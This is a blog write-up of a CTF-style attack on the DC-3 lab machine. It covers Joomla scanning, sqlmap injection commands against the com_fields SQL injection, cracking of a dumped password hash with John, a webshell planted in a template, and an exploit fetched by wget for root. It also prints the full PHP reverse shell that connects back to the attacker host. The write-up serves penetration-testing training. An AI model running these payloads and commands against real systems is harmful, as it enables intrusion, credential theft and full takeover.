DC-3靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1-P5ezyt5hUbmmGMP4EI7kw?pwd=rt2c 
提取码:rt2c 

参考:

image.png

环境搭建

当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
image.png
image.png
描述

DC-3是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。
与以前的DC版本一样,这个版本在设计时考虑到了初学者,尽管这一次只有一个flag,一个入口点,根本没有线索。
Linux技能和对Linux命令行的熟悉程度是必须的,基本的渗透测试工具的一些经验也是必须的。
对于初学者来说,Google可以提供很大的帮助,但你可以随时在@DCAU7上发推文给我,寻求帮助,让你再次前进。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有CTF和Boot2Root挑战经验的人来说,这可能根本不会花费你很长时间(事实上,它可能需要不到20分钟的时间)。
如果是这样的话,如果你希望它成为一个更大的挑战,你可以随时重做挑战,并探索其他获得root和获得flag的方法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.131

1、导入VMware虚拟机

下载完成后,得到DC-3.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机

arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务

nmap -p- 192.168.1.131 -A

# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png
80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

0x04 下载joomscan

image.png


JoomScan是一款用于扫描和评估Joomla内容管理系统(CMS)的安全性的工具。它可以帮助发现潜在的漏洞、配置错误和安全弱点。
JoomScan通过对目标Joomla网站进行自动化扫描,并使用预定义的技术和漏洞检测方法来识别可能存在的问题。它可以检查版本信息、敏感文件泄露、常见漏洞、不安全的配置设置等。
以下是使用JoomScan的基本语法:

joomscan -u <target>

其中:

  • -u选项用于指定要扫描的目标Joomla网站URL。

例如,要使用JoomScan对网站http://example.com进行扫描,可以执行以下命令:

joomscan -u http://example.com

JoomScan将开始扫描目标网站,并报告任何发现的潜在漏洞和安全问题。


0x05查看joomscan版本信息

joomscan -u http://192.168.1.131

image.png
扫描出了cms的版本,还有一些目录和后台登入界面192.168.1.131/administrator/

二:漏洞发现

查看版本漏洞

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南


“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit-DB二进制文件中找到。
如果您预计您将在一个没有Internet的网络环境进行渗透测试,请确保您检查了两个存储库,以获得最完整的数据集。注意,这个工具的名称是“SearchSploit“,顾名思义,它将搜索所有的漏洞和shellcode。它不会包含任何文件和谷歌黑客数据库的结果
安装运行:kali自带searchsploit,其他linux,在github下载tar.gz压缩包,直接运行里边的 searchsploit 执行文件即可
github地址:https://github.com/offensive-security/exploitdb
终端输入searchsploit启动(已经默认在Kali/Parrot中安装)


searchsploit joomla 3.7.0

image.png
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/**php/webapps/42033.txt**
直接查看一下
cat /usr/share/exploitdb/exploits/**php/webapps/42033.txt**
image.png
给出了注入点和Sqlmap的使用方法

三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

--dbs列出所有数据库
image.png
image.png

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表

image.png
image.png
发现敏感users用户表

  • 查看所有列名
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns
表名含有特殊符号,需要用引号包括

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

image.png
image.png

  • 查看用户名与密码字段
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb -T "#__users" -C username,password --dump

image.png
image.png

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明


John介绍及常用命令使用说明_john使用-CSDN博客
John the Ripper(通常简称为John)是一款流行的密码破解工具,专门用于破解密码哈希值。它支持多种密码哈希算法,并使用暴力破解、字典攻击、混合攻击等多种方法来尝试破解密码。
John是一个命令行工具,可以在各种操作系统上运行。它基于已有的密码哈希值(例如Linux系统中的/etc/shadow文件)来进行破解。您需要提供一个包含可能的密码列表(称为字典文件)作为输入,或者使用内置的密码规则和策略来生成密码组合。
以下是使用John的基本语法:

john <hashed_file>

其中:

  • <hashed_file> 是包含密码哈希值的文件路径。

例如,要使用John对密码哈希值文件/etc/shadow进行破解,可以执行以下命令:

john /etc/shadow

John将根据配置的攻击模式和密码破解选项,尝试破解给定的密码哈希值。如果成功找到密码,则会显示在屏幕上。


先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
image.png

识别hash类型并破解

john 1.txt
john --show 1.txt

image.png
所以密码为:snoopy
报错处理:

如何处理哈希密码文件在john时候无法解密的方法

sudo John 文件 —format=crypt

然后再输入

sudo John —show 文件

密码是snoopy,接下来登入后台 192.168.1.131/administrator/

image.png
image.png
image.png
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
image.png
我们可以自己创建一个文件,写入木马 也可以直接反弹shell
image.png
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.1.131/templates/beez3/1.php

访问1.php让其解析,可以执行命令
image.png

接下来试试反弹shell

修改1.php的内容
image.png
将PHP反弹shell代码复制进去

  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '192.168.1.128';  // You have changed this
  $port = 8888;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

首先kali监听8888端口

nc -lvvnp 8888

然后再访问一下1.php让其解析,便可以反弹成功
image.png
但是现在还不是root权限
image.png


可以修改交互

Get交互shell

跟DC-1一样,利用python获取交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口

0x01 查看版本信息

uname -a

image.png

cat /proc/version

image.png


cat /proc/version命令用于查看当前正在运行的Linux操作系统内核的版本信息。
执行该命令时,系统将打开/proc/version文件并将其内容显示在终端上。该文件包含了有关内核版本、编译日期和其他相关信息。


cat /etc/issue

image.png


cat /etc/issue命令用于显示当前操作系统发行版的信息。
执行该命令时,系统将打开/etc/issue文件并将其内容显示在终端上。该文件通常包含了操作系统发行版的名称和版本号等信息。
示例输出可能如下所示:

Ubuntu 16.04 LTS \n \l

输出中包含了操作系统的名称(例如Ubuntu)以及版本号(例如20.04.3 LTS)。\n表示换行,\l表示登录提示符后的字符串。
通过查看/etc/issue文件,您可以快速获取当前操作系统发行版的信息,这对于确认正在使用的操作系统和版本非常有用。


得到操作系统与其版本

搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另外一个终端

searchsploit Ubuntu 16.04

image.png
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
查看一下

cat /usr/share/exploitdb/exploits/linux/local/39772.txt 

image.png
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
上面的无法下载就换下面这个
exp下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载该压缩包并放到kali里,解压该文件,并在改目录下开启HTTP服务,就可以将下载好的文件导入到DC-3靶机里了
image.png
image.png
出现这个说明服务开启成功,exp地址是

http://192.168.1.128:8888/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具
而且要在/var/www/html目录下才有权限下载

www-data@DC-3:/var/www/html$ wget http://192.168.1.128:8888/exploit.tar

image.png
下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

tar -xvf exploit.tar命令用于解压缩(解包).tar格式的文件。在执行该命令时,您需要提供要解压缩的目标文件名。
请注意,在终端中执行该命令之前,请确保您已经位于包含 exploit.tar 文件的目录下。如果不在同一目录下,您需要提供完整的文件路径。
以下是执行 tar -xvf exploit.tar 的示例命令:

tar -xvf exploit.tar

命令中的选项说明:

  • -x 用于解压缩 (extract) 文件。
  • -v 用于显示详细的操作信息 (verbose),让您看到解压的过程。
  • -f 后跟要解压的文件名。

执行该命令后,exploit.tar 将会被解压缩,并且文件中的内容将被提取到当前目录中。
请注意,如果 exploit.tar 是一个压缩文件(如 .tar.gz 或 .tar.bz2),您可能需要使用不同的命令来进行解压缩。具体的命令将根据文件的扩展名而有所不同


接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

image.png
根据原来的39772.txt的提示
执行compile.shdoubleput这两个文件
image.png
执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

image.png

./doubleput

image.png
提权成功!!!
获得root权限
image.png
image.png

也可以用find命令来找flag文件

find / -name *flag*

image.png

总结

这个靶机考察了使用者对于cms的利用手段,hash密文爆破方式,sqlmap的使用方式,对于漏洞的利用能力。

posted @ 2024-01-19 16:23  Fab1an  阅读(54)  评论(0编辑  收藏  举报